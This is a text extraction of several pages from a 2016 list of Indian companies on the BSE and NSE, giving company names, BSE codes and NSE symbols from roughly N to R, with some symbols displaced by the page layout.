NehaIntl.

519560

NeilIndustries

539016

Nelcast

532864

NELCAST

NELCO

504112

NELCO

NeoCorpIntern

523820

NEOCORP

NeoInfracon

514332

NeogemIndia

526195

NeopolitanPizza

532222

http://www.marketonmobile.com/search.php

NATIONALUM

NATNLSTEEL

NBVENTURES

NAVINFLUOR
NAVKARCORP
NAVNETEDUL

NCLIND

NEHAINT

NEO

67/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
NEPCAgroFoods

500452

NEPCAGRO

NEPCIndia

500301

NEPCMICON

NEPCTextiles

521192

NEPCTEX

NeptuneExports

512522

NESCO

505355

NESCO

NestleIndia

500790

NESTLEIND

Net4India

532912

NET4

NetlinkSolns(I)

509040

Nettlinx

511658

NetvisionWeb

532010

NetvistaInform

530811

NETVISTAIT

Network

523558

NETWORK

Netwrk.18Media

532798

NETWORK18

NeulandLabs.

524558

NEULANDLAB

NewMarketsAdvi

508867

NeweverTrade

536644

NewtimeInfra.

531959

NexcenSoftech

531927

NextMedia.

532416

NextgenAnimat.

532999

NexusCommoditie

538874

NexusSoftware

517540

NexxoftInfotel

532045

NeycerIndia

502255

NeyveliLignite

513683

NEYVELILIG

NftyCommodities

500475

CNXCOMMODI

NGLFineChem

524774

NHCFoods

517554

NHPCLtd

533098

NHPC

NiccoCorpn.

590028

NICCO

NiccoParks

526721

NiccoUcoAll.

523209

NidhiGranites

512103

Nifty(S&PCNX)

21335

NIFTY

Nifty10BGSec

530030

NIFGSECCLN

Nifty10BGSec

532188

NIFTYGSEC

Nifty100

531275

CNX100

Nifty100Liq15

500505

LIX15

Nifty200

523422

CNX200INDE

Nifty50

521335

NIFTY

Nifty813GSec

532534

NIF812GSEC

NiftyAlpha50

500497

CNXALPHA

NiftyAuto

512457

CNXAUTO

NiftyBank

532049

BANKNIFTY

NiftyConsumptin

512456

CNXCONSUMP

NiftyCPSE

532203

CPSE

NiftyDivOpp50

500478

CNXDIVIDEN

NiftyEnergy

532071

CNXENERY

NiftyFinancial

500487

CNXFINANCE

NiftyFMCG

532132

CNXFMCG

NiftyGrowSec15

532556

NI15

NiftyGS1115Yr

530036

NIF1115GSC

NiftyGS15YrPlu

532602

NIFT15GSEC

NiftyGS48Yr

530034

NIFT48GSEC

http://www.marketonmobile.com/search.php

NEXTMEDIA

68/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
NiftyGSCompsit

532603

NIFCOMGSEC

NiftyHighBta50

500496

CNXHIGHBET

NiftyInfra

530998

CNXINFRAST

NiftyIT

532506

CNXIT

NiftyLowVol50

500494

CNXLOWVOLA

NiftyMedia

531026

CNXMEDIA

NiftyMetal

512460

CNXMETAL

NiftyMidLiq15

530026

NIFMIDLQ15

NiftyMidcap100

531772

CNXMIDCAP

NiftyMidcap50

530050

NIFTYMID50

NiftyMNC

531012

CNXMNC

NiftyPharma

532074

CNXPHARMA

NiftyPSE

532231

CNXPSE

NiftyPSUBank

531030

CNXPSUBANK

NiftyPvtBank

530032

NIFPVTBANK

NiftyQuality30

530028

NIFTYQLY30

NiftyRealty

531028

CNXREALTY

NiftyServices

531104

CNXSERVICE

NiftyShariah25

532030

CNXSHERIAH

NiftySmall100

513204

CNXSMALLCA

Nifty100EqWeig

532963

EQUALWEIGH

Nifty50DivPoint

500485

NIFTYDIVID

Nifty50PR1xInv

532962

PR1XINV

Nifty50PR2xLev

532897

PR2XLEVE

Nifty50TR1xInv

532012

TR1XINV

Nifty50TR2xLev

532943

TR2XLEVE

Nifty50Value20

532223

NV20

NiharInfoGlob.

531083

NihonNirmaan

500453

NIHONIRMAN

NIIT

500304

NIITLTD

NIITTech.

532541

NIITTECH

NijjerAgro

519168

NikhilAdhesives

526159

NikkiGlob.Fin.

531272

NilaInfrastruct

530377

NilachalRefract

502294

NILE

530129

NilkamalLtd

523385

NilkanthEngg

512004

NilsinUltrachem

526183

NimbusFoods

531598

NimbusInds

530971

NimbusProj.

511714

NINtecSystems

539843

NirajCement

532986

NirajPetrochem

500454

NiravCommercial

512425

Nirlon

500307

NirmanCements

531954

NirvikaraPaper

539251

NiryatSamApp.

531836

NishaSynthetics

514126

NishthaFinance

539311

NissanCopper

532789

http://www.marketonmobile.com/search.php

NILAINFRA

NILKAMAL

NIRAJPETRO
NIRLON
NIRVIKARA

NCOPPER

69/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
Nitco

532722

NITCO

NiteshEstates

533202

NITESHEST

NitinAlloysGlo

508875

NitinFireProt.

532854

NITINFIRE

NitinSpinners

532698

NITINSPIN

NittaGelatin

506532

KERALACHEM

NiveditaMercant

512381

NiviTrading

512245

NivyahInfra.

517534

NiwasSpinning

521009

NLCNalco

524101

NALCOCHEM

NMDC

526371

NMDC

NobleBrothers

530591

NobleExplochem

506991

NoblePolymers

539200

NOCIL

500730

NoelAgritech

526789

NoesisIndustrie

530435

NoidaMedicare

523670

NoidaTollbridg.

532481

NOIDATOLL

NorbenTea

519528

NORBTEAEXP

NorrisMedicines

524414

NorthEastn.Car.

534615

NorthernProject

508924

NorthgateCom

513249

NGCT

NorthlandSugar

507516

NORTHSUG

NorthlinkFiscal

539110

NouveauGlobal

531465

NovaIron&Steel

513566

NovaPublication

530733

NovaUdyog

513426

NovagoldPetro.

531791

NovartisIndia

500672

NOVARTIND

NovopanInds.

500310

NOVOPANIND

NPRFinance

530127

NRIntl.

532623

NRBBearings

530367

NRBBEARING

NRBIndlBearing

535458

NIBL

NRC

503780

NRC

NSEBANK

532232

NSEBANK

NTCInds.

526723

NTPC

532555

NTPC

NuTekIndia

533015

NUTEK

NuTechCorp.

526313

Nubal(India)

530725

Nuchem

500311

NUCHEM

NucleusSoft.

531209

NUCLEUS

NulineGlassware

515109

NumechEmballage

507884

NumeroUnoProj

531983

NutechGlobal

531304

NutraplusIndia

524764

Nutricircle

530219

NuwayOrganic

531819

http://www.marketonmobile.com/search.php

NIVINFRA

NOCIL
NOESISIND

NECCLTD

NOVAIRNSTL

70/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
NylofilsIndia

526488

NyssaCorp.

504378

ONGC

500312

O.PChains

539116

OasisMedia

531782

OasisSec.

512489

OasisTextiles

514114

OasisTradelink

538547

OberoiRealty

533273

ObjectoneInform

535657

OceanAgro(I)

519491

OceanInfra.

532086

OceanKnits

514468

OceanaaBiotek

538019

OceanicMagnetic

517457

OCLIndia

502165

OCL

OCLIron&Steel

533008

OISL

OctalCreditCap

538894

OdysseyCorpn.

531996

OdysseyTech.

530175

OdysseyVideo

517465

OFSTechnologies

539570

OilCountry

500313

OILCOUNTUB

OilIndia

533106

OIL

OjasAssetRecr

538607

OKPlayIndia

526415

OlympiaCapital

511674

OlympiaInds

521105

Olympiccard.

534190

OlympicManagem

511632

OlympicOilInd.

507609

OmMetalsInfrap

531092

OmSindhooriCap

530489

OmSindooriHot.

507931

OmanshEnterpri.

538537

OmaxAutos

520021

OMAXAUTO

Omaxe

532880

OMAXE

OMCComputers

517409

OmegaAgSeeds

519479

OmegaInteractiv

511644

OmegaLabs

524406

OmkarOverseas

531496

OmkarPharmachem

532167

OmkarSpl.Chem.

533317

OmniDyeChem

524384

OmnitechInfo.

532882

OmnitelInds

517260

OmnitexInds

514324

OnelifeCapital

533632

OnesourceTechm.

535647

OnidaFinance

511555

OnidaSaka

517242

OnMobileGlobal

532944

OntrackSystems

532607

http://www.marketonmobile.com/search.php

ONGC

OBEROIRLTY

OMMETALS

OMKARCHEM
OMNITECH

ONELIFECAP

ONMOBILE

71/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
OnwardTechnolog

517536

ONWARDTEC

OpalLuxury

500504

OPAL

OptiemusInfra.

530135

OptimusFinance

531254

OptoCircuits

532391

OracleCredit

539598

OracleFin.Serv.

532466

OFSS

OrbitCorpn.

532837

ORBITCORP

OrbitExports

512626

ORBTEXP

OrbitMultimedia

532091

OrbitPolyester

531342

OrchidPharma

524372

ORCHIDPHAR

ORGInformatics

517195

ORGINFO

OrganicCoatings

531157

Organon(India)

532002

INFARINDIA

OriconEnter.

513121

ORICONENT

OrientAbrasives

504879

ORIENTABRA

OrientBell

530365

ORIENTBELL

OrientBeverages

507690

OrientCement

535754

ORIENTCEM

OrientGreen

533263

GREENPOWER

OrientOrganics

524766

OrientPaper

502420

ORIENTPPR

OrientPress

526325

ORIENTLTD

OrientRefrac.

534076

ORIENTREF

OrientSyntex

503878

OrientTradelink

531512

OrientalBank

500315

ORIENTBANK

OrientalCarbon

506579

OCCL

OrientalHotels

500314

ORIENTHOT

OrientalIndust.

501355

OrientalRemedie

526989

OrientalTrimex

532817

OrientalVeneer

531859

OriginAgro.

524170

OrindExports

512616

OrionAcids&Ch

524450

Oriqua

530031

OrissaInds.

502260

OrissaLamps

517413

OrissaLuminaire

517542

OrissaMinerals

590086

OrissaSponge

504864

OrissaaOrganics

524392

OrkayInds.

500320

OrosilSmith

531626

OrtelCommu.

539015

OrtinLabs.

590074

OrtinLabs.

539287

OscarGlobal

530173

OscarInvestment

501179

OseaspreCons.

509782

OshoCeramics

515095

OsianInds.

531617

http://www.marketonmobile.com/search.php

OPTOCIRCUI

ORIENTALTL
SQUAREDBIO

ORISSAMINE

ORKAY
ORTEL
ORTINLABSS

72/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
OswalAgroMills

500317

OSWALAGRO

OswalGreenTech

539290

BINDALAGRO

OswalGreenTech

500063

BINDALAGRO

OswalLeasing

509099

OswalMinerals

522299

OswalOverseas

531065

OswalSpg.&Wvg

500318

OswalYarns

514460

OswaliChemicals

506916

OTCOIntl

523151

OtoklinPlants

505783

OTOKLIN

OudhSugarMills

507260

OUDHSUG

OverseasSynth

514330

OvobelFoods

530741

OxembergApparel

503899

OxfordInds

514414

Oxides&Special

523389

OyeeeeMedia

539310

OzoneWorld

539291

P&GHygiene

500459

PGHH

PBAInfra.

532676

PBAINFRA

PCIChemicals

524792

PCProducts

539267

PIInds.

523642

PLFinance&In

511056

PRCements

518042

P.B.Films

539352

P.H.Capital

500143

P.G.Industry

531281

P.M.Telelinnks

513403

PaceAutomation

517292

PacificCotspin

531118

PacificInds

523483

PacktechInds.

523702

PactIndustries

538963

PadamCotton

531395

PadmalayaTele.

532350

PadmanabhAlloys

531779

PadmanabhInds.

526905

PadminiTech.

500321

PADMINPOLY

PAE

517230

PAEL

PagariaEner.

531396

PageIndustries

532827

PagitaLeasing

509007

PaintexChemical

524178

PALCredit&Cap

511306

PALCREDIT

PALCO

513405

PENNARALUM

PalcoMetal

539121

PalredTechnolog

532521

PalsoftInfosys.

511597

PanAuto

513634

PanDrugs

531440

PanElectronics

517397

PanIndiaCorpor

511525

http://www.marketonmobile.com/search.php

OSWALMIN
OSWALSPG

HERDIOXIDE

PIIND

PACIFICIND

PADMALAYAT

PAGEIND

PALREDTEC

SRGINFOTEC

73/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
PanIndiaDrugs

524560

PanIndiaResort

531520

PanaceaBiotec

531349

PanaficIndustri

538860

PanamaPetrochem

524820

PANAMAPET

PanasonicAppli.

523307

PANASONIC

PanasonicCarbon

508941

PANCARBON

PanasonicEnergy

504093

LAKHNNATNL

Panch.Organics

531726

PANCHSHEEL

PanchmahalCem.

502070

PANCHMACEM

PanchmahalSteel

513511

PANCHMSTEL

Panjon

526345

PanjwaniPack.

523584

PankajPiyush

506122

PankajPolymers

531280

PankajPolypack

534796

PanoramicUniv.

531816

PantherIndl.Pr

524055

PanyamCement

500322

PappilonExports

530837

Para.Print.

533399

ParabInfra

513359

ParabolicDrugs

533211

PARABDRUGS

ParagMilkFoods

539889

PARAGMILK

ParagonFinance

531255

ParamountComm.

530555

ParamountCosmet

507970

ParamountSteels

513062

ParasMagnetic

523305

ParasPetrofils

521246

PARASPETRO

Parasram.Inds

514040

PARASIND

Parasram.Synth

514017

PARSSYNTH

ParekhAluminex

532606

PARAL

ParekhDistrib.

501482

ParekhPlatinum

500323

PAREKHPLAT

ParenteralDrugs

524689

PDPL

ParichayInvest.

505525

ParikshaFinInv

539481

ParkerAgrochem

524628

ParleSoftware

532911

ParnamiCredits

538646

ParnavSports

780017

ParnaxLab

506128

ParrysSugar

500162

ParshartiInvest

511702

ParshwanathCorp

511176

ParsoliCorpn

530071

ParsvnathDevl.

532780

PartaniApplianc

538686

PartapRaj.Spl.

504860

ParthAluminium

513430

ParthHousing

526528

ParthIndus.

526349

PasariSpinning

521080

http://www.marketonmobile.com/search.php

PANACEABIO

PANORAMUNI
PANYAMCEM
PARAPRINT

PARACABLES

PARRYSUGAR

PARSVNATH

74/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
PaschimPetroch.

531005

PashupatiCables

531662

PashupatiSeohun

526353

PasupatiAcrylon

500456

PasupatiFincap

511734

PasupatiHaryana

514132

PasupatiSpinng.

503092

PatdiamJeweller

539401

PatelEngg.

531120

PATELENG

PatelIntegrated

526381

PATINTLOG

Patel'sWidecom

517364

PATWIDECOM

PatelsAirtemp

517417

PathejaForgings

500326

PatidarBuild.

524031

PatspinIndia

514326

PaulMerchants

539113

Paushak

532742

PawansutHolding

535658

PazelIntl.

504335

PBMPolytex

514087

PCJeweller

534809

PCSTechnology

517119

PDSMulti.

532225

PDSMFL

PDSMulti.

538730

PDSMFL

PearlEngg.Poly

526562

PEPL

PearlGlobalInd

532808

PGIL

PearlPolymers

523260

PEARLPOLY

PecosHotels

539273

PeeCeeCosma

524136

PeetiSecurities

531352

PeninsulaLand

503031

PENINLAND

PennarEngg.Bld.

539333

PENPEBS

PennarInds.

513228

PENIND

PentaPharmadyes

530793

PentafourProd

500328

PENTFRPROD

PentafourSolec

500457

PENTFRSOLC

PentagonGlobal

532314

PentamediaGraph

500329

PentokeyOrgany

524210

PeoplesInvest

501144

PerfectCircleI

505789

PerfectInfraeng

532595

PerfectOctave

521062

Perfectpac

526435

PeriaKara.Tea

531044

PerkPharma

530673

PermanentMagnet

504132

PersianCarpet

521159

PersistentSys

533179

PERSISTENT

PertechComputer

526606

PCL

PervasiveComm.

517172

Pesticide&Brew

506580

PetPlastics

524046

PetronEngg

530381

http://www.marketonmobile.com/search.php

PASUPTACRY

PASUPATSPG

PATHEJAFOR
PATSPINLTD

PCJEWELLER

PENTSFWARE

PERFECT

PKTEA
PERMAGNET

PETRONENGG

75/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
PetronetLNG

532522

PETRONET

Pfizer

500680

PFIZER

PFLInfotech

531769

PGElectro.

533581

PGFoils

526747

PHTrading

512026

Phaarmasia

523620

PharmaidsPharma

524572

PhelixAppliance

526305

PhillipsCarbon

506590

PHILIPCARB

PhoenixIntl.

526481

PHOENXINTL

PhoenixLamps

517296

PHOENIXLL

PhoenixMills

503100

PHOENIXLTD

PhoenixTownship

537839

PhotonCapital

509084

PhotoquipIndia

526588

PhytoChem(I)

524808

PiccadilyAgro

530305

PiccadilySugar

507498

Picturehouse

532355

PidiliteInds.

500331

PILInds.

521153

PilItalica

500327

PILITA

PilaniInvest.

590121

PILANIINVS

PilaniInvest.

539883

PILANIINVS

PinconSpirit

538771

PineAnimation

511421

PinkyChemicals

524671

Pion.AgroExtr.

519439

Pion.Embroider.

514300

PIONEEREMB

PioneerDistil.

531879

PIONDIST

PioneerInvest

507864

PiramalEnterp.

500302

PEL

PiramalGlass

532949

PIRGLASS

Piraml.Phyto.

532979

PIRPHYTO

PitambarCoated

530785

PithampurPoly

530683

PittiLamination

513519

PittsburghIron

531135

PixTransmission

500333

PiyushSteels

530559

Planter'sPoly

523105

Plastiblends(I)

523648

PlatinumCorp.

532117

PlatinumFinance

511541

PlethicoPharma.

532739

PlusFinance

531571

PMCFincorp

534060

PNBGilts

532366

PNBGILTS

PNCInfratech

539150

PNCINFRA

PneumaticHoldin

539347

PNEUMATIC

PochirajuInds.

532803

POCHIRAJU

POCLEnterprises

539195

PoddarHousing

523628

http://www.marketonmobile.com/search.php

PGEL

PICCADSUG
PIDILITIND

PITTILAM

PLASTIBLEN

PLETHICO

76/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
PoddarPigments

524570

Pokarna

532486

PolarInds.

504288

PolarPharma(I)

523333

PolarisConsulta

532254

PoloHotels

526687

Polson

507645

PolyMedicure

531768

POLYMED

Polychem

506605

POLYCHEM

PolyconIntl.

531397

PolygentaTech.

514486

PolylinkPoly.

531454

PolymacThermof.

537573

PolymechplastMa

526043

PolyplexCorpn

524051

PolyspinExports

590055

PolyspinExports

539354

PolytexIndia

512481

PondyOxides

532626

PONDYOXIDE

PonniSug.Erode

532460

PONNIERODE

PoojaEntertain

532011

PoojaGranites

515117

PoonaDal&Oil

519359

PoonamRasayan

531965

PopularEstate

531870

PorwalAutoComp

532933

PositiveElectr.

539178

PotentialInvt.

538566

PowerFin.Corpn.

532810

PFC

PowerGridCorpn

532898

POWERGRID

PowerMechProj.

539302

POWERMECH

PowerhouseFit.

538731

PowersoftGSL

532736

PPAPAutomotive

532934

PPAP

PrabhatDairy

539351

PRABHAT

PrabhavInd

531855

PrabhuSteelInd

506042

PradeepMetals

513532

PradipOverseas

533178

PRADIP

PragBosimiSyn.

500192

PRAGBOSIMI

PrajInds.

522205

PRAJIND

PrajayEngg.

531746

PRAENG

PrakashCeramics

515111

PrakashConstro.

533605

PrakashFotran

531455

PrakashInds.

506022

PrakashLeasing

523069

PrakashSolvent

519430

PrakashSteelage

533239

PrakashWoollen

531437

PramadaFinvest

531293

PramanCapital

530869

Pranav.Spinning

531172

PrashantIndia

519014

http://www.marketonmobile.com/search.php

PODARPIGMT
POLARIND
POLARIS

POLYPLEX

PRAKASHCON
PRAKASH

PRAKASHSTL

77/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
PratibhaInds.

532718

PratikPanels

526490

PratikshaChem.

531257

PraveenProp.

531256

Prec.Electronic

517258

Prec.Fastners

522181

PRECSNFAST

Prec.Wires(I)

523539

PRECWIRE

PreciousTrdg.

506107

PrecisionCamshf

539636

PrecisionCont

523874

PrecotMeridian

521184

PremSomaniFin.

530669

Prem.Explosives

526247

Prem.Intl.Fin.

511310

Prem.Plantation

523570

Prem.Synthetic

509835

Prem.Vin.Floor

500334

PremcoGlobal

530331

Premier

500540

PremierAqua

519465

PremierCapServ

511016

PremierChennai

780007

PremierEnergy

533100

PremierInds(I)

507831

PremierPip.

513291

PremierPolyfilm

514354

PremierProteins

519178

PremiumCapital

511660

PremiumInds(I)

512593

PremkutirEstate

512189

PrernaInfra.

531802

PreshaMetall.

513613

PresidencyShoe

526660

Press.Senstive

526773

PressmanAdv.

509077

PRESSMN

PrestigeEstates

533274

PRESTIGE

PrestigeFoods

519027

PrestigeHMPoly

507707

PrestoFinance

531484

PrettoLeather

526691

Pricol

526109

PrimaAgro

519262

PrimaInds.

531246

PrimaPlastics

530589

PrimeCapitalMa

535514

PrimeFocus

532748

PrimeInds.

519299

PrimePetroProd

524252

PrimeProperty

530695

PrimeSecurities

500337

PrimeSolvent

519447

PrimeTeaPlantn

519556

PrimeUrban

521149

PrismCement

500338

http://www.marketonmobile.com/search.php

PRATIBHA

PRECAM
PRECOT

PREMVINYL
PREMIER

PREMIERPOL

PRICOL

PFOCUS

PRIMESECU

PRISMCEM

78/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
PrismFinance

531735

PrismInfor.

505530

PrismMedico

512217

PrismMercantile

512032

PritNandyComm.

532387

PNC

PrithviInfo.

532675

PRITHVI

PrithviSoftech

531688

PRITHVISOF

PritikaAutocast

780020

Priya

524580

Priyadar.Fabs

532050

Priyadarshini

503873

PriyankaUdyog

512520

ProFinCapital

511557

ProaimEnterp.

512105

ProcalElect.

526009

Profess.Diamond

523001

Progress.Extr.

531265

Progress.Steels

531063

ProlineSoftware

531955

PromactPlastics

526494

ProtchemInds(I)

524117

ProtechCircuit

517306

ProtechSwitch.

517256

ProtoDevelopers

530069

ProvestmentServ

590120

Provogue(India)

532647

PROVOGE

ProzoneIntu

534675

PROZONINTU

Pruden.Sugar

500342

PRUDMOULI

PSITInfra

505502

PSL

526801

PSL

PTCIndia

532524

PTC

PTCIndiaFin

533344

PFS

PTCInds.

539006

PTLEnterprises

509220

PTL

PudumjeeIndustr

516092

PDUMJEIND

PudumjeePaper

539785

PDMJEPAPER

PudumjeePulp

500343

PDUMJEPULP

PulsarIntl.

512591

Pun.&SindBank

533295

PunctualTrading

512461

PunitCommercial

512099

PunjLloyd

532693

PUNJLLOYD

PunjabAlkalies

506852

PUNALKALI

PunjabChemicals

506618

PUNJABCHEM

PunjabCommun.

500346

PUNJCOMMU

PunjabFibres

514179

PunjabNatl.Bank

532461

PNB

PunjabWoolcomb.

509839

PUNJABWOOL

PunsumiIndia

517049

PUNSUMI

Puravankar.Proj.

532891

PURVA

PurityFlexPack

523315

PurohitConst.

538993

PurshottamInves

538647

PushpsonsInds

531562

http://www.marketonmobile.com/search.php

PRIYADYES
PSMSPGMILL

PSB

79/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
PVPVentures

517556

PVP

PVR

532689

PVR

PVVInfr

536659

PyramidSaimira

532791

PyxisFinvest

534109

QproInfotech

506102

QuadrantTele.

511116

QualitronComp.

517127

QuantumBuild

538596

QuantumDigital

530281

QuantumGoldETF

590099

QGOLDHALF

QuantumIndex

590110

QNIFTY

QuasarIndia

538452

QuestSoftech

535719

QuickHeal

539678

QUICKHEAL

QuintegraSoln.

532866

QUINTEGRA

QVCRealtyCo

532126

QVC

RBGuptaFin.

532024

RCF

524230

RGFCapital

539669

RJBioTech

536456

RJShah&Co

509845

RRFin.Cons.

511626

RRSecurities

530917

RSCorp.

531700

RSPetrochem

524691

RSSoftware(I)

517447

RSSOFTWARE

RSharesCNX100

500503

RELCNX100

RSharesCNX100

537483

RELCNX100

RSharesComsum.

512380

RELCONS

RSharesDiviETF

532433

RELDIVOPP

RSharesNifty

531956

RELNIFTY

RSharesNV20

532580

RELNV20

RSharesSensex

538683

RSystemsIntl.

532735

RTExports

512565

R&BDenims

538119

RaajMedisafe

524502

RaamTyres

523588

RaashiFert

524009

RaasiLeasing

507823

RaasiRefractor

502271

RACLGeartech

520073

RadaanMedia.

590070

RadfordGlobal

530561

RadhaMadh.Corp.

532692

RadhagobindComm

539673

RadhakishanCem.

502079

RadheDevelop.

531273

RadheyTrade

539814

RadhikaSpinning

521252

RadiantRotograv

531526

RadicoKh.Fin.

511320

RadicoKhaitan

532497

http://www.marketonmobile.com/search.php

PSTL

RCF

RSYSTEMS

RADAAN
RMCL

RADICO

80/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
RadixIndust.

531412

RaghavInds.

526465

RaghavRamming

539837

RaghavaEstates

531627

RaghojiCement

518077

RaghunathCotton

519258

RaghunathIntl.

526813

RaghuvanshAgro.

538921

RaghuvirSynth

514316

RahilInvestment

531311

RahulMerchand

531887

RaiSRMohota

530047

RAIREKMOH

RainIndustries

500339

RAIN

RainbowBrew.

507520

RainbowDenim

532441

RainbowFoundat.

531694

RainbowPapers

523523

RajAgroMills

530291

RajIrrigation

513406

RajOilMills

533093

RajPackaging

530111

RajRayonInds.

530699

RAJRAYON

RajTelevision

532826

RAJTV

RajaBahadurInt

503127

RajadhirajInds

519206

RajaniExtractn.

519303

RajapalayamMill

532503

Rajas.Gases

526873

Rajas.PetroSyn

506975

Rajas.Polyester

514073

Rajas.TubeMfg

530253

RajasthanCylind

538707

RajathFinance

507962

RajdarshanInds

526662

RajendraMining

530225

RajeshExports

531500

RajeshMalleable

513630

RajeshSolvex

519514

RajeswariInfra.

526823

RajkamalSynth.

514028

RAJKOTINV.TRUST

539495

RajkumarForge

513369

RajlaxmiInds.

512319

RajooEngineers

522257

RajputanaInvest

539090

RajratanGlobal

517522

RajsanketRealty

512409

RajshreeSugars

500354

RAJSREESUG

RajvirInds.

532665

RAJVIR

RallisIndia

500355

RALLIS

RamInfo

530951

RamMinerals

534734

RamRatnaWires

522281

RamaPaperMills

500357

http://www.marketonmobile.com/search.php

RAINBOWPAP

RAJOIL

RAJPALAYAM
RAJASPETRO

ARENTERP
RAJESHEXPO

81/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
RamaPetrochem

500358

RAMAPETRO

RamaPhosphates

524037

RAMAPHOSP

RamaPulp&Pap

502587

RamaSteelTubes

532588

RAMASTEEL

RamaSteelTubes

539309

RAMASTEEL

RamaVision

523289

RAMAVISION

RamchandraLeas.

538540

RamcoInds.

532369

RAMCOIND

RamcoSystems

532370

RAMCOSYS

RamgopalPolytex

514223

RAMGOPOLY

RamkrishnaForg.

532527

RKFORGE

RamkyInfra

533262

RAMKY

Rammaica(India)

515127

RampurEngg.

505793

RamsTransformer

517567

RamsarupInds.

532690

RamsonsProjects

530925

RamsunarRolst.

513560

RanaMohendra

516074

RanaSugars

507490

RANASUG

RanbaxyLabs.

500359

RANBAXY

RanderCorpn.

531228

Rane(Madras)

532661

RML

RaneBrakeLin.

532987

RBL

RaneComputers

526091

RaneEngineVal.

532988

RANEENGINE

RaneHoldings

505800

RANEHOLDIN

RanjeevAlloys

513727

RanjitSecuritie

531572

RanklinSol.

590077

RansiSoftwares

532165

RapMedia

531583

RapicutCarbides

500360

RapidInvest.

501351

RasExtrusions

523780

RASPropack

500361

RasResorts

507966

RasandikEngg.

522207

RashelAgrotech

532055

RasiElectrodes

531233

RasikPlast

526552

Rasoi

507649

RasoyaProteins

531522

RatanGlitter

512397

RathiBars

532918

RathiGraphic

524610

RathiIspat

504896

RathiSteel

504903

RatnaDrugs

524382

RatnaakarInfra

532591

RatnabaliCap.

531391

RatnamaniAgro

507652

RatnamaniMetals

520111

RattanVanaspati

519469

http://www.marketonmobile.com/search.php

RAMSARUP

RANKLIN

RASLAMIPAK

RASOYPR

RATNAINFRA

RATNAMANI

82/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
RattanIndiaInfr

534597

RTNINFRA

RattanindiaPow.

533122

RTNPOWER

RaunaqEPCIntl.

537840

RaunaqFinance

511599

RavalgaonSugar

507300

RaviLeelaGran

526095

RavikumarDistll

533294

RavindraEnergy

504341

RavrajImpex

531079

RaymedLabs

531207

Raymond

500330

RCCCements

531825

RCIIndustries

537254

RCLFoods

530923

RCLRetail

534708

RDBRasayans

533608

RDBRealty

533285

ReadyFoods

519250

RealGrowth

539691

RealRealty

530053

RealStrips

513558

RealTouchFin

538611

RealtimeFinlse

531277

REALVOL1MNTH

1137

REALVOL2MNTH

1138

REALVOL3MNTH

1139

RedexProtech

523650

RedingtonIndia

532805

Refco&Wessamat

522253

RefexIndustries

532884

RefnolResins

530815

RegalEntertain.

531033

RegaliaaRealty

530807

RegencyCeramics

515018

RegencyDiaper

523281

RegencyHospital

526403

RegencyTrust

511585

RegentChemicals

506989

RegentEnterp.

512624

RegentRealtech

531130

REIAgro

532106

REIAGROLTD

REISixTen

533065

REISIXTEN

REILElectricals

505817

RekvinaLabs

526075

Rel.Chemotex

503162

Rel.Comm.

532712

RCOM

Rel.Indl.Infra

523445

RIIL

Rel.Nat.Resour.

532709

RNRL

RelaxoFootwear

530517

RELAXO

ReliableVentur.

532124

RelianceBanking

533888

RELBANK

RelianceBanking

590105

RELBANK

RelianceBroad.

533143

RBN

RelianceCapital

500111

RELCAPITAL

http://www.marketonmobile.com/search.php

RAVALSUGAR
RKDL

RAYMOND

READYFOOD

REDINGTON
REFEX

REGENCERAM

83/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
RelianceDefence

533107

RDEL

RelianceGold

590100

RELGOLD

RelianceGold

533891

RELGOLD

RelianceInds.

500325

RELIANCE

RelianceInfra.

500390

RELINFRA

RelianceMedia

532399

RELMEDIA

ReliancePower

532939

RPOWER

RelicTech.

511712

RelicabCable

539760

ReligareEnterp.

532915

RELIGARE

ReligareGold

533172

RELIGAREGO

ReligareNifty

521253

RELGRNIFTY

RelishPharma

524632

RelsonIndia

502473

RemiEdelstahl

513043

RemiElektrotec.

512487

RemiProc.Plant

505658

RemiSales&Eng

504360

RemiSecurities

511149

RemsonsInds.

530919

REMSONSIND

RenaissanceJew.

532923

RJL

RencalChemical

524510

RencoGears

526129

RenownedAuto

505167

RepcoHomeFin

535322

REPCOHOME

ReproIndia

532687

REPRO

ResonanceSpeci.

524218

ResponseInfo.

